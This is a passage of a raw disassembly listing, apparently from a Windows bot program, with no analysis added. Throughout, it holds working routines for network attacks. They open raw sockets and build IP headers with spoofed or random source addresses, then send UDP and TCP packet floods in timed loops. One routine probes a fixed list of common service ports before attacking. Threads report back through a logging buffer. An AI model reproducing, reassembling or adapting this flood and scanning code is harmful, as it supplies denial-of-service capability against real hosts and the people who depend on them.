mov [ebp+var_9F], 6
call dword_42820C ; ntohs
mov [ebp+var_9E], ax
lea eax, [ebp+var_9C]
push 14h
push eax
lea eax, [ebp+var_3C]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_88]
push ebx
push eax
lea eax, [ebp+var_24]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_A8]
push 598h
push eax
call sub_414995
add esp, 20h
mov [ebp+var_2A], ax
lea eax, [ebp+var_74]
push 10h
push eax
push 0
push esi
lea eax, [ebp+var_54]
push eax
push [ebp+var_8]
call dword_4CDCC8 ; sendto
inc [ebp+var_4]
jmp loc_414AF7
; ---------------------------------------------------------------------------
loc_414CC7: ; CODE XREF: sub_414A9E+71j
push [ebp+var_8]
call dword_4CDCFC ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414A9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CD8 proc near ; DATA XREF: sub_401B66+4BE5o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_414D4E
push eax
lea eax, [ebp+var_414]
push offset unk_438B88
push eax
call sub_41C056
add esp, 220h
lea eax, [ebp+var_414]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push 0
call dword_4280CC ; ExitThread
sub_414CD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D4E proc near ; CODE XREF: sub_414CD8+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CDCE4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_414D8C
lea eax, [ebp+var_254]
push offset unk_438D80
push eax
call sub_41C056
pop ecx
xor edi, edi
pop ecx
jmp loc_415052
; ---------------------------------------------------------------------------
loc_414D8C: ; CODE XREF: sub_414D4E+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414DB8
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset unk_438D30
jmp short loc_414DD3
; ---------------------------------------------------------------------------
loc_414DB8: ; CODE XREF: sub_414D4E+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414DE7
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset unk_438CE8
loc_414DD3: ; CODE XREF: sub_414D4E+68j
lea eax, [ebp+var_254]
push eax
call sub_41C056
add esp, 0Ch
jmp loc_415052
; ---------------------------------------------------------------------------
loc_414DE7: ; CODE XREF: sub_414D4E+77j
push edi
mov [ebp+var_24], 2
call dword_4CDC64 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_428234 ; inet_addr
mov esi, dword_4280A8
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_438CBC
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_414E50
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_414E50: ; CODE XREF: sub_414D4E+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41BF49
cmp esi, eax
pop ecx
ja loc_415009
mov esi, 41Ch
jmp short loc_414E84
; ---------------------------------------------------------------------------
loc_414E7F: ; CODE XREF: sub_414D4E+2B5j
mov ebx, 0FFh
loc_414E84: ; CODE XREF: sub_414D4E+12Fj
cmp dword_4D14F4, edi
jnz short loc_414EDC
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4CDC08 ; getsockname
push ebx
push 1
call sub_418E56
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C056
add esp, 20h
jmp short loc_414EEC
; ---------------------------------------------------------------------------
loc_414EDC: ; CODE XREF: sub_414D4E+13Cj
lea eax, [ebp+var_54]
push offset dword_4D0ED8
push eax
call sub_41C680
pop ecx
pop ecx
loc_414EEC: ; CODE XREF: sub_414D4E+18Cj
push esi
mov byte_4D10D8, 45h
call dword_4CDC64 ; ntohs
mov word_4D10DA, ax
lea eax, [ebp+var_54]
push eax
mov word_4D10DC, 1
mov word_4D10DE, di
mov byte_4D10E0, 80h
mov byte_4D10E1, 11h
mov word_4D10E2, di
call dword_4CDCA4 ; inet_addr
mov dword_4D10E4, eax
mov eax, [ebp+var_20]
mov dword_4D10E8, eax
lea eax, [ebp+arg_84]
push eax
mov word_4D10F2, di
call sub_41BF49
test eax, eax
pop ecx
jnz short loc_414F64
call sub_41C0B2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414F72
; ---------------------------------------------------------------------------
loc_414F64: ; CODE XREF: sub_414D4E+204j
lea eax, [ebp+arg_84]
push eax
call sub_41BF49
pop ecx
push eax
loc_414F72: ; CODE XREF: sub_414D4E+214j
call dword_4CDC64 ; ntohs
mov word_4D10EE, ax
call sub_41C0B2
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4D10EC, dx
call dword_4CDC64 ; ntohs
push 400h
mov word_4D10F0, ax
call sub_41C0B2
cdq
idiv ebx
push edx
push offset dword_4D10F4
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4D10D8
push [ebp+var_C]
call dword_4CDCC8 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415081
inc [ebp+var_4]
call dword_4280A8 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41BF49
cmp ebx, eax
pop ecx
jbe loc_414E7F
loc_415009: ; CODE XREF: sub_414D4E+124j
push [ebp+var_C]
call dword_4CDCFC ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41BF49
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_438C58
push eax
call sub_41C056
add esp, 1Ch
loc_415052: ; CODE XREF: sub_414D4E+39j
; sub_414D4E+94j ...
cmp [ebp+arg_20C], edi
jnz short loc_41507A
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41507A: ; CODE XREF: sub_414D4E+30Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415081: ; CODE XREF: sub_414D4E+289j
push [ebp+var_4]
push esi
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_438BC8
push eax
call sub_41C056
add esp, 18h
jmp short loc_415052
sub_414D4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150A6 proc near ; DATA XREF: sub_401B66+627Co
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BF49
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41BF49
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CDCA4 ; inet_addr
push eax
call sub_415240
push eax
lea eax, [ebp+var_414]
push offset unk_438DAC
push eax
call sub_41C056
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_415138
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409982
add esp, 14h
loc_415138: ; CODE XREF: sub_4150A6+70j
lea eax, [ebp+var_414]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_4150A6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415157 proc near ; CODE XREF: sub_415240+184p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_415180
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428210 ; connect
jmp loc_41523C
; ---------------------------------------------------------------------------
loc_415180: ; CODE XREF: sub_415157+13j
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
xor edi, edi
push eax
inc edi
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4281F8 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CDC0C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CDC4C ; select
test eax, eax
jnz short loc_4151E4
or eax, 0FFFFFFFFh
jmp short loc_41523C
; ---------------------------------------------------------------------------
loc_4151E4: ; CODE XREF: sub_415157+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_4151EF
loc_4151EB: ; CODE XREF: sub_415157+B8j
; sub_415157+DCj
mov eax, edi
jmp short loc_41523C
; ---------------------------------------------------------------------------
loc_4151EF: ; CODE XREF: sub_415157+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426FF6 ; __WSAFDIsSet
test eax, eax
jnz short loc_415211
lea eax, [ebp+var_210]
push eax
push esi
call sub_426FF6 ; __WSAFDIsSet
test eax, eax
jz short loc_4151EB
loc_415211: ; CODE XREF: sub_415157+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4281E4 ; getsockopt
cmp eax, edi
jz short loc_4151EB
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_41523C: ; CODE XREF: sub_415157+24j
; sub_415157+8Bj ...
pop edi
pop esi
leave
retn
sub_415157 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415240 proc near ; CODE XREF: sub_4150A6+51p
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 108h
xor eax, eax
push ebx
push esi
inc eax
push edi
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
mov [ebp+var_10], eax
pop esi
push esi
push 2
call dword_428208 ; WSASocketA
lea ecx, [ebp+var_10]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4D1558, eax
call dword_4CDC44 ; setsockopt
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_FC]
pop ecx
mov [ebp+var_108], ebx
mov [ebp+var_78], ecx
mov [ebp+var_104], ebx
mov [ebp+var_100], ebx
mov [ebp+var_18], esi
mov [ebp+var_88], 401h
mov [ebp+var_84], 15h
mov [ebp+var_80], 16h
mov [ebp+var_7C], 17h
mov [ebp+var_74], 35h
mov [ebp+var_70], 50h
mov [ebp+var_6C], 51h
mov [ebp+var_68], 58h
mov [ebp+var_64], 6Eh
mov [ebp+var_60], 71h
mov [ebp+var_5C], 77h
mov [ebp+var_58], 87h
mov [ebp+var_54], 89h
mov [ebp+var_50], 8Bh
mov [ebp+var_4C], 8Fh
mov [ebp+var_48], 1BBh
mov [ebp+var_44], 1BDh
mov [ebp+var_40], 400h
mov [ebp+var_3C], 599h
mov [ebp+var_38], 5DCh
mov [ebp+var_34], 6B8h
mov [ebp+var_30], 0CEAh
mov [ebp+var_2C], 0D3Dh
mov [ebp+var_28], 1388h
mov [ebp+var_24], 1A0Bh
mov [ebp+var_20], 1F40h
mov [ebp+var_1C], 1F90h
mov [ebp+var_C], ebx
rep stosd
mov [ebp+var_14], 0BB8h
xor esi, esi
loc_41537E: ; CODE XREF: sub_415240+1ACj
mov eax, [ebp+arg_0]
lea edi, [ebp+esi+var_88]
mov [ebp+var_94], eax
mov [ebp+var_98], 2
mov ax, [edi]
push eax
call dword_4CDC64 ; ntohs
push ebx
push 1
push 2
mov [ebp+var_96], ax
call dword_4CDCE4 ; socket
lea ecx, [ebp+var_18]
mov [ebp+var_8], eax
push ecx
lea ecx, [ebp+var_98]
push 10h
push ecx
push eax
call sub_415157
add esp, 10h
mov [ebp+var_4], eax
push [ebp+var_8]
call dword_4CDCFC ; closesocket
cmp [ebp+var_4], ebx
jnz short loc_4153E6
mov eax, [edi]
mov [ebp+esi+var_108], eax
loc_4153E6: ; CODE XREF: sub_415240+19Bj
add esi, 4
cmp esi, 70h
jl short loc_41537E
mov esi, offset dword_4D1560
push offset asc_42E0C8 ; " "
push esi
call sub_41C056
mov edi, dword_4280A8
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+var_8], eax
mov [ebp+var_4], ebx
loc_41540E: ; CODE XREF: sub_415240+225j
call edi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415467
mov eax, [ebp+var_4]
mov eax, [ebp+eax*4+var_108]
cmp eax, ebx
jz short loc_415444
push eax
push esi
push offset aSD ; "%s%d "
push esi
mov [ebp+var_C], eax
call sub_41C056
add esp, 10h
jmp short loc_41545E
; ---------------------------------------------------------------------------
loc_415444: ; CODE XREF: sub_415240+1EDj
push 0FFFFh
push ebx
call sub_418E56
pop ecx
pop ecx
push eax
call dword_4CDC64 ; ntohs
movzx eax, ax
mov [ebp+var_C], eax
loc_41545E: ; CODE XREF: sub_415240+202j
inc [ebp+var_4]
cmp [ebp+var_4], 1Ch
jl short loc_41540E
loc_415467: ; CODE XREF: sub_415240+1DFj
; sub_415240+45Ej
push 28h
push ebx
push offset byte_4D14FC
call sub_41BD60
mov esi, 0FFFFh
mov byte_4D14FC, 45h
push esi
push 400h
mov byte_4D1505, 6
mov byte_4D14FD, 8
call sub_418E56
add esp, 14h
push eax
call dword_4CDC64 ; ntohs
push 28h
mov word_4D1500, ax
call dword_4CDC64 ; ntohs
or byte_4D1504, 0FFh
cmp dword_4D14F4, ebx
mov word_4D14FE, ax
mov word_4D1502, bx
jnz short loc_4154E7
push 0FFFEh
push 1
call sub_418E56
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_4154F2
; ---------------------------------------------------------------------------
loc_4154E7: ; CODE XREF: sub_415240+28Bj
push offset dword_4D0ED8
call dword_4CDCA4 ; inet_addr
loc_4154F2: ; CODE XREF: sub_415240+2A5j
mov dword_4D1508, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4D150C, eax
mov byte_4D151D, bl
call dword_4CDC64 ; ntohs
push esi
push ebx
mov word_4D151E, ax
call sub_418E56
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418E56
add esp, 10h
add edi, eax
push edi
call dword_4CDC60 ; ntohl
mov dword_4D1514, eax
mov al, byte_4D151C
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4D151C, al
mov ax, word ptr [ebp+var_C]
mov dword_4D1518, ebx
mov word_4D1522, bx
mov word_4D1512, ax
mov dword_4D1538, edi
mov byte_4D153C, bl
mov byte_4D153D, 6
call dword_4CDC64 ; ntohs
mov word_4D153E, ax
mov ax, word_4D1512
mov word_4D1524, 2
mov dword_4D1528, edi
mov word_4D1526, ax
mov [ebp+var_4], ebx
jmp short loc_4155A8
; ---------------------------------------------------------------------------
loc_4155A3: ; CODE XREF: sub_415240+438j
mov esi, 0FFFFh
loc_4155A8: ; CODE XREF: sub_415240+361j
cmp [ebp+var_4], ebx
push esi
push ebx
jnz short loc_4155DC
call sub_418E56
pop ecx
pop ecx
push eax
call dword_4CDC64 ; ntohs
mov word_4D1510, ax
mov eax, dword_4D1508
mov dword_4D1534, eax
mov byte_4D151D, 2
mov dword_4D1518, ebx
jmp short loc_4155F9
; ---------------------------------------------------------------------------
loc_4155DC: ; CODE XREF: sub_415240+36Dj
mov byte_4D151D, 10h
call sub_418E56
pop ecx
pop ecx
push eax
call dword_4CDC64 ; ntohs
movzx eax, ax
mov dword_4D1518, eax
loc_4155F9: ; CODE XREF: sub_415240+39Aj
inc word_4D1500
inc dword_4D1514
mov ax, word_4D1512
push 5
pop ecx
mov esi, offset word_4D1510
mov edi, offset dword_4D1540
mov word_4D1506, bx
mov word_4D1520, bx
push 14h
rep movsd
mov esi, offset byte_4D14FC
mov word_4D1526, ax
push esi
call sub_40AB6D
push 20h
push offset dword_4D1534
mov word_4D1506, ax
call sub_40AB6D
add esp, 10h
mov word_4D1520, ax
push 10h
push offset word_4D1524
push ebx
push 28h
push esi
push dword_4D1558
call dword_4CDCC8 ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_4155A3
call dword_4280A8 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4156A3
push [ebp+arg_8]
call dword_428064 ; Sleep
jmp loc_415467
; ---------------------------------------------------------------------------
loc_4156A3: ; CODE XREF: sub_415240+453j
pop edi
pop esi
mov eax, offset dword_4D1560
pop ebx
leave
retn
sub_415240 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156AD proc near ; CODE XREF: sub_401B66+70AFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43FE18
mov edi, 0B8h
loc_4156C1: ; CODE XREF: sub_4156AD+33j
cmp byte ptr [esi], 0
jz short loc_4156E4
push [ebp+arg_0]
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4156E4
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_440998
jl short loc_4156C1
jmp short loc_415726
; ---------------------------------------------------------------------------
loc_4156E4: ; CODE XREF: sub_4156AD+17j
; sub_4156AD+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43FE18[esi]
push ebx
call sub_41BD60
push 17h
push [ebp+arg_0]
push ebx
call sub_41BDC0
push 9Fh
lea eax, dword_43FE30[esi]
push [ebp+arg_4]
push eax
call sub_41BDC0
add esp, 24h
inc dword_42A4A8
pop ebx
loc_415726: ; CODE XREF: sub_4156AD+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4156AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41572D proc near ; CODE XREF: sub_401B66+284Bp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_438DF4
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
xor edi, edi
mov esi, offset dword_43FE18
loc_415757: ; CODE XREF: sub_41572D+72j
cmp byte ptr [esi], 0
jz short loc_415792
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_438DE0
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C150
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 2Ch
loc_415792: ; CODE XREF: sub_41572D+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_440998
jl short loc_415757
pop edi
pop esi
leave
retn
sub_41572D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157A5 proc near ; CODE XREF: sub_401252+375p
; sub_401252+3F6p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_428130 ; GetLocalTime
mov ebx, offset dword_4D5960
mov edi, 80h
mov esi, offset dword_4D1960
loc_4157C7: ; CODE XREF: sub_4157A5+3Dj
cmp byte ptr [ebx], 0
jz short loc_4157DE
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BDC0
add esp, 0Ch
loc_4157DE: ; CODE XREF: sub_4157A5+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4157C7
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C150
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4157A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415819 proc near ; CODE XREF: sub_401891+F7p
; sub_401B66:loc_40898Ep ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C960
lea eax, [ebp+var_80]
push eax
call sub_4157A5
add esp, 14h
leave
retn
sub_415819 endp
; =============== S U B R O U T I N E =======================================
sub_415845 proc near ; CODE XREF: sub_401B66+2743p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D1960
xor ecx, ecx
loc_41584C: ; CODE XREF: sub_415845+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D5960
jl short loc_41584C
cmp [esp+arg_C], ecx
jnz short loc_41587A
push ecx
push [esp+4+arg_8]
push offset dword_438E40
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409982
add esp, 14h
loc_41587A: ; CODE XREF: sub_415845+19j
push offset dword_438E2C
call sub_4157A5
pop ecx
retn
sub_415845 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415886 proc near ; DATA XREF: sub_401B66+27F6o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_4158D9
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_438E70
push eax
push [ebp+var_11C]
call sub_409982
add esp, 14h
loc_4158D9: ; CODE XREF: sub_415886+33j
cmp [ebp+var_98], 0
jz short loc_4158F9
lea eax, [ebp+var_98]
push eax
call sub_41BF49
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_4158F9
mov [ebp+var_8], eax
loc_4158F9: ; CODE XREF: sub_415886+5Aj
; sub_415886+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4D1960
loc_415902: ; CODE XREF: sub_415886+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_41595C
cmp byte ptr [esi], 0
jz short loc_41594B
cmp [ebp+var_98], 0
jz short loc_415931
cmp [ebp+var_4], 0
jnz short loc_415931
lea eax, [ebp+var_98]
push eax
push esi
call sub_418763
pop ecx
test eax, eax
pop ecx
jz short loc_41594B
loc_415931: ; CODE XREF: sub_415886+90j
; sub_415886+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409982
add esp, 14h
loc_41594B: ; CODE XREF: sub_415886+87j
; sub_415886+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4D5960
jl short loc_415902
loc_41595C: ; CODE XREF: sub_415886+82j
lea eax, [ebp+var_31C]
push offset dword_438E54
push eax
call sub_41C056
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415996
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409982
add esp, 14h
loc_415996: ; CODE XREF: sub_415886+EEj
lea eax, [ebp+var_31C]
push eax
call sub_4157A5
push [ebp+var_18]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_415886 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159B5 proc near ; CODE XREF: sub_401B66+71F0p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
